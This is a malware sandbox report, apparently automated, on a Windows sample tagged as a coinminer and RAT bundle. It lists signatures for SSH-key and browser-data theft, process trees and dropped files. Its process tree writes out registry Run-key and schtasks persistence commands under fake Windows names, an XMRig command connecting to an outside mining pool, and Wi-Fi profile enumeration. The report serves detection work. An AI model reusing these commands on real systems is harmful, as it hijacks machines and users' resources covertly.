Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/10/2026, 11:16

General

  • Target
    2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 32.7MB
  • Sample261017-ndabcad19q
  • SHA256 915221495858e8edd4fad91b89e0c6ba3fe963ac30d3b1e456f1a94e9eecb3f5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Executes dropped EXE 14 IoCs
  • Reads ssh keys stored on the system 2 TTPs

    Tries to access SSH used by SSH programs.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 5 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in Windows directory 11 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 10 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 21 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry key 1 TTPs 2 IoCs
  • Modifies system certificate store 2 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in Windows directory
    • Modifies trusted root certificate store through registry
    • Reads the TCP/IP host and domain name from the registry
    • Checks processor information in registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4328
    • C:\Users\Admin\AppData\Local\Temp\2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
      C:\Users\Admin\AppData\Local\Temp\2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe --persist-worker
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:3468
      • C:\Windows\system32\reg.exe
        reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe /f
        3⤵
        • Adds Run key to start application
        • Modifies registry key
        PID:6040
    • C:\Users\Admin\AppData\Local\Temp\2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
      C:\Users\Admin\AppData\Local\Temp\2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe --guard 4328
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      PID:3216
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "schtasks /create /tn \"RuntimeBroker\" /tr \"\\\"\" + exe + \"\\\"\" /sc onlogon /rl highest /f"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1216
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn \"RuntimeBroker\" /tr \"\\\"\" + exe + \"\\\"\" /sc onlogon /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2856
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "schtasks /create /tn \"RuntimeBrokerHb\" /tr \"\\\"\" + wd + \"\\\"\" /sc minute /mo 10 /f"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1364
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn \"RuntimeBrokerHb\" /tr \"\\\"\" + wd + \"\\\"\" /sc minute /mo 10 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1856
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "schtasks /create /tn \"RuntimeBrokerBt\" /tr \"\\\"\" + exe + \"\\\"\" /sc onstart /delay 0000:30 /f"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5060
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn \"RuntimeBrokerBt\" /tr \"\\\"\" + exe + \"\\\"\" /sc onstart /delay 0000:30 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4512
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 4328 3216
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      PID:3812
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\ShellExperienceHost.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\ShellExperienceHost.exe -o xmr-eu.kryptex.network:7029 -u krxX729EZE/worker1 -p x
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1184
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "netsh wlan show profiles"
      2⤵
      • Executes a command shell one-liner
      • System Network Configuration Discovery: Wi-Fi Discovery
      • Suspicious use of WriteProcessMemory
      PID:1960
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        3⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:4104
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
    1⤵
    • Executes dropped EXE
    • Adds Run key to start application
    • Drops file in Windows directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:3808
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:2228
      • C:\Windows\system32\reg.exe
        reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe /f
        3⤵
        • Adds Run key to start application
        • Modifies registry key
        PID:2652
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 3808
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      PID:912
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 3808 912
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      PID:2032
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "schtasks /create /tn \"RuntimeBroker\" /tr \"\\\"\" + exe + \"\\\"\" /sc onlogon /rl highest /f"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3128
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn \"RuntimeBroker\" /tr \"\\\"\" + exe + \"\\\"\" /sc onlogon /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1852
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "schtasks /create /tn \"RuntimeBrokerHb\" /tr \"\\\"\" + wd + \"\\\"\" /sc minute /mo 10 /f"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:6044
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn \"RuntimeBrokerHb\" /tr \"\\\"\" + wd + \"\\\"\" /sc minute /mo 10 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3728
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "schtasks /create /tn \"RuntimeBrokerBt\" /tr \"\\\"\" + exe + \"\\\"\" /sc onstart /delay 0000:30 /f"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3820
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn \"RuntimeBrokerBt\" /tr \"\\\"\" + exe + \"\\\"\" /sc onstart /delay 0000:30 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1512
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\Widgets.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\Widgets.exe -o xmr-eu.kryptex.network:7029 -u krxX729EZE/worker1 -p x
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4064
  • C:\Users\Admin\AppData\Local\Temp\2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    C:\Users\Admin\AppData\Local\Temp\2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    1⤵
    • Executes dropped EXE
    • Adds Run key to start application
    • Drops file in Windows directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:5888
    • C:\Users\Admin\AppData\Local\Temp\2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
      C:\Users\Admin\AppData\Local\Temp\2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe --persist-worker
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      PID:3092
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 5888
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      PID:4540
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 5888 4540
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      PID:3372
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "schtasks /create /tn \"RuntimeBroker\" /tr \"\\\"\" + exe + \"\\\"\" /sc onlogon /rl highest /f"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2964
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn \"RuntimeBroker\" /tr \"\\\"\" + exe + \"\\\"\" /sc onlogon /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3172
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "schtasks /create /tn \"RuntimeBrokerHb\" /tr \"\\\"\" + wd + \"\\\"\" /sc minute /mo 10 /f"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4756
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn \"RuntimeBrokerHb\" /tr \"\\\"\" + wd + \"\\\"\" /sc minute /mo 10 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4476
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "schtasks /create /tn \"RuntimeBrokerBt\" /tr \"\\\"\" + exe + \"\\\"\" /sc onstart /delay 0000:30 /f"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2104
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn \"RuntimeBrokerBt\" /tr \"\\\"\" + exe + \"\\\"\" /sc onstart /delay 0000:30 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4940
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\TextInputHost.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\TextInputHost.exe -o xmr-eu.kryptex.network:7029 -u krxX729EZE/worker1 -p x
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2364

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        WinServiceCheck.pyw

        • Path C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\WinServiceCheck.pyw
        • Size 459B
        • SHA256 2d74608ff4e9ad5b69ced10d2360ae4d6e755a7ac22bb2d99c4e7b9cfff4962c
        • MD5 SHA1 SHA512 TLSH

        WinServiceHost.bat

        • Path C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\WinServiceHost.bat
        • Size 569B
        • SHA256 eec28eeb7a41c961fbe5f4313b6aac95be1eb36aaa3eb188fa814661e0b0d70a
        • MD5 SHA1 SHA512 TLSH

        WinServiceHost.bat

        • Path C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\WinServiceHost.bat
        • Size 342B
        • SHA256 20f12b03f9a0270d4eb9f6081e2e120770fd0af6d5ddee0462a64fddbd719ad0
        • MD5 SHA1 SHA512 TLSH

        2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe

        • Path C:\Users\Admin\AppData\Local\Temp\2026-10-16_99e309da9345ad475a86fea4d4719220_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
        • Size 32.7MB
        • SHA256 915221495858e8edd4fad91b89e0c6ba3fe963ac30d3b1e456f1a94e9eecb3f5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ak_debug.log

        • Path C:\Users\Admin\AppData\Local\Temp\ak_debug.log
        • Size 112B
        • SHA256 d20e11a10b39df665992d7525b6e5d1d33b9f19c2e5a64cd82645cea5c8362e4
        • MD5 SHA1 SHA512 TLSH

        ak_debug.log

        • Path C:\Users\Admin\AppData\Local\Temp\ak_debug.log
        • Size 335B
        • SHA256 76143de2b675f8736bbf6cdc1bd041b371f6986888409a1391c8e4d1df431c2c
        • MD5 SHA1 SHA512 TLSH

        didy_db_1792235814971276900_4328.db

        • Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792235814971276900_4328.db
        • Size 138KB
        • SHA256 ec501d01373480b8717bc6e4fd75222ee5d2fc71a231664839c0be2a605b38e9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        didy_db_1792235814973179100_4328.db

        • Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792235814973179100_4328.db
        • Size 160KB
        • SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
        • MD5 SHA1 SHA512 SSDEEP TLSH

        didy_db_1792235815771597700_4328.db

        • Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792235815771597700_4328.db
        • Size 256KB
        • SHA256 b0c72944fc5bd02ac464a83ac972277e38d0dbc674f2a634c0d432bf882ef89a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        didy_db_1792235815773339000_4328.db

        • Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792235815773339000_4328.db
        • Size 224KB
        • SHA256 ad28f9a5298ae7a8eb785b5ac488af303af360c1e55aca3833cdb57f79a1f861
        • MD5 SHA1 SHA512 SSDEEP TLSH

        didy_db_1792235816658756400_4328.db

        • Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792235816658756400_4328.db
        • Size 20KB
        • SHA256 2ade7ad8f15eccb025798893f007bc3a04679504411bbad75e4d1f35cf47a65e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        didy_db_1792235816665713100_4328.db

        • Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792235816665713100_4328.db
        • Size 24KB
        • SHA256 4cc1a146d871eea502899024db7a2ff4ab46d4e787819a0fd75cc74aa7dd9926
        • MD5 SHA1 SHA512 SSDEEP TLSH

        didy_db_1792235816767404000_4328.db

        • Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792235816767404000_4328.db
        • Size 96KB
        • SHA256 33a2357af8dc03cc22d2b7ce5c90abf25ac8b40223155a516f1a8df4acbf2a53
        • MD5 SHA1 SHA512 SSDEEP TLSH

        .didy_mid

        • Path C:\Users\Admin\AppData\Roaming\.didy_mid
        • Size 16B
        • SHA256 4f18f78be9d63682feab6f76dfec6dcb92690e0e6a47a3e346784a9528b1b692
        • MD5 SHA1 SHA512

        ShellExperienceHost.exe

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\ShellExperienceHost.exe
        • Size 6.1MB
        • SHA256 ca28f4aeaa5e16d216cd828b67454a56f3c7feeb242412d26ed914fadff20d40
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ResetConfig.xml

        • Path C:\Windows\Recovery\OEM\ResetConfig.xml
        • Size 1021B
        • SHA256 7f38b3f26b19716936c01e2cea6e19ce40f68ad55fd559231a6e7eaeb916b319
        • MD5 SHA1 SHA512 TLSH

        RestoreApp.cmd

        • Path C:\Windows\Recovery\OEM\RestoreApp.cmd
        • Size 162B
        • SHA256 c7f9babe454fde1593e9b64774cbb1b4170076297c62fe71039449847949dcea
        • MD5 SHA1 SHA512 TLSH

        SetupComplete.cmd

        • Path C:\Windows\Setup\Scripts\SetupComplete.cmd
        • Size 525B
        • SHA256 08bd37a0073c310c6aef1acc034b33ba32d2da7f47ce4b9be872eba5e3ef5be7
        • MD5 SHA1 SHA512 TLSH

        memory/1184-49-0x00000252CB010000-0x00000252CB030000-memory.dmp

        memory/3808-39-0x00007FFC14CE0000-0x00007FFC14F43000-memory.dmp

        memory/4328-4-0x00007FFC14CE0000-0x00007FFC14F43000-memory.dmp

        memory/5888-40-0x00007FFC14CE0000-0x00007FFC14F43000-memory.dmp